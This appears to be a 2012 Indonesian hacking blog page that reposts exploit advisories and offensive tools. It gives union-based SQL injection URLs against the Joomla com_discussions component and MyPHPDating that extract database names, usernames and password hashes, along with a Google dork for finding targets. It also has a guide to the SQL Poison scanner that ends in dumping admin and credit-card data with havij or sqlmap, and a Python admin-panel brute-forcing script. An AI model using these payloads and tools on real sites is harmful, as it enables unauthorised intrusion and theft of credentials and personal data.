Home » All posts

Joomla Discussions Component (com_discussions) SQL Injection

Posted by Yas Thursday, 9 August 2012 0 comments
#
# Title     : Joomla Discussions Component (com_discussions) SQL Injection Vulnerability
# Author    : Red Security TEAM
# Date      : 17/01/2012
# Risk      : High
# Software  : http://extensions.joomla.org/extensions/communication/forum/13560
# Tested On : CentOS
# Contact   : Info [ 4t ] RedSecurity [ d0t ] COM
# Home      : http://RedSecurity.COM
#
# Exploit   :
# http://server/index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=[SQLi]
#
# Example   :
#
# 1. [Get Database Name]
# http://server/index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=1' union all select concat(0x7e,0x27,unhex(Hex(cast(database() as char))),0x27,0x7e)--+a
# 2. [Get  Tables  Name]
# http://server/index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=1' union all select (select concat(0x7e,0x27,count(table_name),0x27,0x7e) from `information_schema`.tables where table_schema=0x6F7574706F7374715F6F65646576)--+a
# 3. [Get      Username]
# http://server/index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=1' union all select (select concat(0x7e,0x27,unhex(Hex(cast(jos_users.username as char))),0x27,0x7e) from `[Database Name]`.jos_users Order by username limit 0,1) --+a
# 4. [Get      Password]
# http://server/index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=1' union all select (select concat(0x7e,0x27,unhex(Hex(cast(jos_users.password as char))),0x27,0x7e) from `[Database Name]`.jos_users Order by username limit 0,1) --+a
#

MyPHPDating 1.0 SQL Injection Vulnerability

Posted by Yas 0 comments
Software : MyPHPDating version 1.0
Date     : 1/1/2012
Vendor   : http://www.phponlinedatingsoftware.com/
Demo     : http://www.phponlinedatingsoftware.com/demo.htm
Get App. : http://www.phponlinedatingsoftware.com/order.htm
Dork     : "Powered by MyPHPDating"
Author   : ITTIHACK
Home     : http://ittihack.com

Vulnerable file : page.php

explots: http://localhost/[path]/page.php?page_id=[SQL] 
       : http://localhost/[path]/page.php?page_id=-1+union+select+1,2,3,concat(@@version,0x3c3e,database())-- 

SEBERAPA TANGGUH DIRIMU ?

Posted by Yas Saturday, 14 July 2012 1 comment




CARA MENGGUNAKAN SQL POISON V1.1

Posted by Yas Friday, 13 July 2012 0 comments
sql poison adalah tools yg di gunakan para hacker untuk membobol website, dan untuk lebih tepatnya tools ini di gunakan untuk mencari vulnurable website. tool ini juga terdapat banyak google dork di dalamnya

untuk download tool ini silakan klik di sini
dan saya juga akan menjelaskan cara menggunkan tools ini,, oke cekidot om..


* download toolnya
* buka dan pilih dork yang anda inginkan .:D




liat gambar om



klik scan untuk mencari web target ..
dan anda bisa melihat hasil scan pada gambar di bwah ini :D
klik "remove duplicates" 
                                    
lanjutkan dengan klik kanan web target => send to sqli crawler>all  (liat gambar)

klik cralw untuk mengecek apakah target kita vulnurable atau tidak. (liat gambar)



jika webnya berubah jadi merah maka web itu  vuln dan bisa di injeksi lewat sql injection  dan (liat gambar di bwah om)
selanjutnya  di lanjutkan dengan tool sql injection seperti havij, sqlmap,dll  untuk mendapatkan admin, user, member atau cc nya..

silakan tinggalkan komentar :D

[PYTHON] ADMIN FINDER

Posted by Yas Thursday, 12 July 2012 0 comments

#!/usr/bin/env python
######################################
#                                    #  
#   Admin Finder v1                  #
#       by cester matthew. 2012               #
#  Greetz to ljuska.org, s3ctor.org  #
#                                    #
######################################


import sys, httplib, subprocess


if sys.platform == 'linux' or sys.platform == 'linux2':
    subprocess.call("clear", shell=True)
else:
    subprocess.call("cls", shell=True)    


pathlist_path = "pathlist.txt"
dump = False
counter_fail = 0
counter_success = 0


if(len(sys.argv) >= 3):
    if sys.argv[2] != "-dump":
        pathlist_path = sys.argv[2]
    else:
        dump = True
if(len(sys.argv) >= 4):
    if sys.argv[3] == "-dump":
        dump = True
    else:
        sys.exit("Unknown argument: " + sys.argv[3])
        
if (len(sys.argv) < 2):
    sys.exit("Missing argument!")


pathlist_f = open(pathlist_path,"r")
path = pathlist_f.readlines()


target = sys.argv[1]
target = target.replace("http://","").rsplit("/",1)[0]


if dump:
    dump_f = open(target + ".txt", "w")


print 'Admin Finder started...'
print 'Using pathlist: ' + pathlist_path
if dump:
    print 'Dumping to file: ' + target + ".txt"
print 'Connecting to ' + target


for p in path:
    p = p.replace("\n","")
    p = "/" + p
    conn = httplib.HTTPConnection(target)
    conn.request("GET",p)
    response = conn.getresponse()
    if response.status == 200 or response.status == 403:
        print p, " FOUND", response.status
        counter_success += 1
        if dump:
            dump_f.write(p + " FOUND " + str(response.status) + "\n")
    else:
        counter_fail += 1
        if dump:
            dump_f.write(p + " NOT FOUND " + str(response.status) + "\n")
    
print '\n'
print counter_success, " found, ", counter_fail, " not found."

SITE INFO

Copyright © 2013 Ilyas Cyber4rt. All rights reserved.